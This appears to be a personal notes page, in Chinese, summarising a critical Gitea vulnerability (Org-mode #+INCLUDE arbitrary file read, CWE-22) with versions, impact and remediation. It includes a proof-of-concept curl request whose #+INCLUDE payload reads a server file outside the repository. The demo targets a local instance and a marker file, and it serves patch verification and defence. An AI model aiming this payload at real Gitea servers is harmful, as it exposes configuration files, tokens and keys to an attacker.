跳至正文
Wener Notes

CVE-2026-59774

约 1 分钟阅读
标签:Gitea
  • Gitea - Org-mode #+INCLUDE 未授权任意文件读取,可进一步导致远程代码执行
  • 影响版本
    • 官方安全公告的受影响范围:1.22 < 1.27.1
    • 公告详情明确列出:1.22.1 至 1.27.0
  • 修复版本:1.27.1
  • 严重性:Critical,CVSS 3.1 9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • 攻击条件
    • 攻击者无需认证
    • 目标需要存在可公开读取、且启用代码单元的仓库
    • 攻击者通过仓库的 Org-mode markup 渲染入口提交包含 #+INCLUDE 的内容
  • 影响
    • 可读取 Gitea 服务账号有权限访问的任意文件
    • 可能暴露 app.ini、内部 token、OAuth/JWT 材料和部署信息
    • 在满足额外文件权限与配置条件时,可进一步以 Gitea 服务账号执行代码
  • 处理
    • 升级到 Gitea 1.27.1 或更高版本
    • 无法立即升级时,限制公开仓库的 markup 渲染入口,并检查 Gitea 服务账号可读取的配置和密钥
    • 升级后轮换可能暴露的内部 token、OAuth/JWT 密钥及其他凭据,并检查异常访问日志
  • CWE:CWE-22(路径遍历)

PoC

  • 文件读取演示:让 Org-mode 渲染器读出仓库外的自建标记文件
  • 准备本地 Gitea 测试实例及公开仓库 demo/public-repo,开启仓库代码单元
  • 在 Gitea 进程所在的文件系统中创建标记文件;容器部署时需要在容器内创建,并确保服务账号可读
bash
printf '%s\n' 'GITEA-CVE-2026-59774-DEMO' > /tmp/gitea-poc-marker.txt
  • 向本地实例提交 Org-mode 内容,file_path 的 .org 后缀用于选择渲染器
bash
curl -sS 'http://127.0.0.1:3000/demo/public-repo/markup' \
  --data-urlencode 'mode=file' \
  --data-urlencode 'file_path=demo.org' \
  --data-urlencode 'text=#+INCLUDE: "/tmp/gitea-poc-marker.txt" src text'
  • 关键现象:返回的渲染内容出现 GITEA-CVE-2026-59774-DEMO,表明请求读到了仓库之外的服务端文件
  • 仅 HTTP 200 不能判定漏洞;路径、权限、仓库状态和渲染结果需要一起核对
  • 该示例验证任意文件读取这一环;完整远程代码执行链还需要额外条件
  • projectdiscovery/nuclei-templates 提供对应检测模板,包含公开仓库定位和文件读取请求

参考

关联信息

反向链接、本文链接的其他页面和外部资料。

参考资料

GitHub3 条
其他外链2 条
最近更新commit 0c5208b编辑